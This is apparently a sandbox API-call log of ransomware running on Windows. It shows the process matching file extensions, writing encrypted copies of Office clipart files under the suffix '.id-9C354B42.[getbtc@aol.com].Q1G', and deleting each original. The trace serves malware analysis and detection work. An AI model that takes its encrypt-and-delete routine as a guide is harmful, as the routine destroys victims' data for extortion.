[0248.392] lstrlenW (lpString=".pdf") returned 4 [0248.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString=".xls") returned 4 [0248.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.392] lstrlenW (lpString=".xlsx") returned 5 [0248.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.392] lstrlenW (lpString=".ppt") returned 4 [0248.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.393] lstrlenW (lpString=".zip") returned 4 [0248.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.393] lstrlenW (lpString=".rar") returned 4 [0248.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.393] lstrlenW (lpString=".bz2") returned 4 [0248.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.393] lstrlenW (lpString=".7z") returned 3 [0248.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.393] lstrlenW (lpString=".dbf") returned 4 [0248.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.393] lstrlenW (lpString=".1cd") returned 4 [0248.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.393] lstrlenW (lpString=".jpg") returned 4 [0248.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.393] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.393] lstrlenW (lpString="DD01180_.WMF") returned 12 [0248.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.393] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2084) returned 1 [0248.394] CloseHandle (hObject=0x3ac) returned 1 [0248.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0248.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.394] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.394] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.394] GetLastError () returned 0x0 [0248.395] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x824, lpOverlapped=0x0) returned 1 [0248.396] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x830, lpOverlapped=0x0) returned 1 [0248.397] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.397] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.397] SetEndOfFile (hFile=0x3b4) returned 1 [0248.397] CloseHandle (hObject=0x3b4) returned 1 [0248.397] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.397] SetEndOfFile (hFile=0x3ac) returned 1 [0248.399] CloseHandle (hObject=0x3ac) returned 1 [0248.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0248.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.400] lstrlenW (lpString=".doc") returned 4 [0248.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString=".docx") returned 5 [0248.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.400] lstrlenW (lpString=".pdf") returned 4 [0248.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString=".xls") returned 4 [0248.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.400] lstrlenW (lpString=".xlsx") returned 5 [0248.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.400] lstrlenW (lpString=".ppt") returned 4 [0248.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.400] lstrlenW (lpString=".zip") returned 4 [0248.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.400] lstrlenW (lpString=".rar") returned 4 [0248.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString=".bz2") returned 4 [0248.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString=".7z") returned 3 [0248.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.400] lstrlenW (lpString=".dbf") returned 4 [0248.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.400] lstrlenW (lpString=".1cd") returned 4 [0248.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.400] lstrlenW (lpString=".jpg") returned 4 [0248.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.400] lstrlenW (lpString=".doc") returned 4 [0248.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.400] lstrlenW (lpString=".docx") returned 5 [0248.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.400] lstrlenW (lpString=".pdf") returned 4 [0248.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.401] lstrlenW (lpString=".xls") returned 4 [0248.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.401] lstrlenW (lpString=".xlsx") returned 5 [0248.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.401] lstrlenW (lpString=".ppt") returned 4 [0248.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.401] lstrlenW (lpString=".zip") returned 4 [0248.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.401] lstrlenW (lpString=".rar") returned 4 [0248.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.401] lstrlenW (lpString=".bz2") returned 4 [0248.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.401] lstrlenW (lpString=".7z") returned 3 [0248.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.401] lstrlenW (lpString=".dbf") returned 4 [0248.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.401] lstrlenW (lpString=".1cd") returned 4 [0248.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0248.401] lstrlenW (lpString=".jpg") returned 4 [0248.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.401] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.401] lstrlenW (lpString="DD01181_.WMF") returned 12 [0248.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.403] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1448) returned 1 [0248.404] CloseHandle (hObject=0x3ac) returned 1 [0248.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0248.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.404] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.404] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.405] GetLastError () returned 0x0 [0248.405] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x5a8, lpOverlapped=0x0) returned 1 [0248.406] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0248.407] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.407] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.407] SetEndOfFile (hFile=0x3b4) returned 1 [0248.407] CloseHandle (hObject=0x3b4) returned 1 [0248.407] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.407] SetEndOfFile (hFile=0x3ac) returned 1 [0248.409] CloseHandle (hObject=0x3ac) returned 1 [0248.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0248.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.410] lstrlenW (lpString=".doc") returned 4 [0248.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString=".docx") returned 5 [0248.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.410] lstrlenW (lpString=".pdf") returned 4 [0248.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString=".xls") returned 4 [0248.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.410] lstrlenW (lpString=".xlsx") returned 5 [0248.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.410] lstrlenW (lpString=".ppt") returned 4 [0248.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.410] lstrlenW (lpString=".zip") returned 4 [0248.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.410] lstrlenW (lpString=".rar") returned 4 [0248.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString=".bz2") returned 4 [0248.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString=".7z") returned 3 [0248.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.410] lstrlenW (lpString=".dbf") returned 4 [0248.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.410] lstrlenW (lpString=".1cd") returned 4 [0248.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.410] lstrlenW (lpString=".jpg") returned 4 [0248.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.410] lstrlenW (lpString=".doc") returned 4 [0248.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.410] lstrlenW (lpString=".docx") returned 5 [0248.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.411] lstrlenW (lpString=".pdf") returned 4 [0248.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.411] lstrlenW (lpString=".xls") returned 4 [0248.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.411] lstrlenW (lpString=".xlsx") returned 5 [0248.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.411] lstrlenW (lpString=".ppt") returned 4 [0248.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.411] lstrlenW (lpString=".zip") returned 4 [0248.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.411] lstrlenW (lpString=".rar") returned 4 [0248.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.411] lstrlenW (lpString=".bz2") returned 4 [0248.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.411] lstrlenW (lpString=".7z") returned 3 [0248.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.411] lstrlenW (lpString=".dbf") returned 4 [0248.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.411] lstrlenW (lpString=".1cd") returned 4 [0248.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0248.411] lstrlenW (lpString=".jpg") returned 4 [0248.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.411] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.411] lstrlenW (lpString="DD01182_.WMF") returned 12 [0248.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.412] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2996) returned 1 [0248.412] CloseHandle (hObject=0x3ac) returned 1 [0248.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0248.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.412] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.412] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.413] GetLastError () returned 0x0 [0248.413] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xbb4, lpOverlapped=0x0) returned 1 [0248.539] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0248.540] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.540] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.540] SetEndOfFile (hFile=0x3b4) returned 1 [0248.540] CloseHandle (hObject=0x3b4) returned 1 [0248.540] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.540] SetEndOfFile (hFile=0x3ac) returned 1 [0248.542] CloseHandle (hObject=0x3ac) returned 1 [0248.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0248.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.585] lstrlenW (lpString=".doc") returned 4 [0248.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.585] lstrlenW (lpString=".docx") returned 5 [0248.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.585] lstrlenW (lpString=".pdf") returned 4 [0248.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.585] lstrlenW (lpString=".xls") returned 4 [0248.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.585] lstrlenW (lpString=".xlsx") returned 5 [0248.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.585] lstrlenW (lpString=".ppt") returned 4 [0248.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.585] lstrlenW (lpString=".zip") returned 4 [0248.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.585] lstrlenW (lpString=".rar") returned 4 [0248.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.585] lstrlenW (lpString=".bz2") returned 4 [0248.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.585] lstrlenW (lpString=".7z") returned 3 [0248.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.585] lstrlenW (lpString=".dbf") returned 4 [0248.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.585] lstrlenW (lpString=".1cd") returned 4 [0248.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.585] lstrlenW (lpString=".jpg") returned 4 [0248.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.585] lstrlenW (lpString=".doc") returned 4 [0248.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.586] lstrlenW (lpString=".docx") returned 5 [0248.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.586] lstrlenW (lpString=".pdf") returned 4 [0248.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.586] lstrlenW (lpString=".xls") returned 4 [0248.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.586] lstrlenW (lpString=".xlsx") returned 5 [0248.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.586] lstrlenW (lpString=".ppt") returned 4 [0248.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 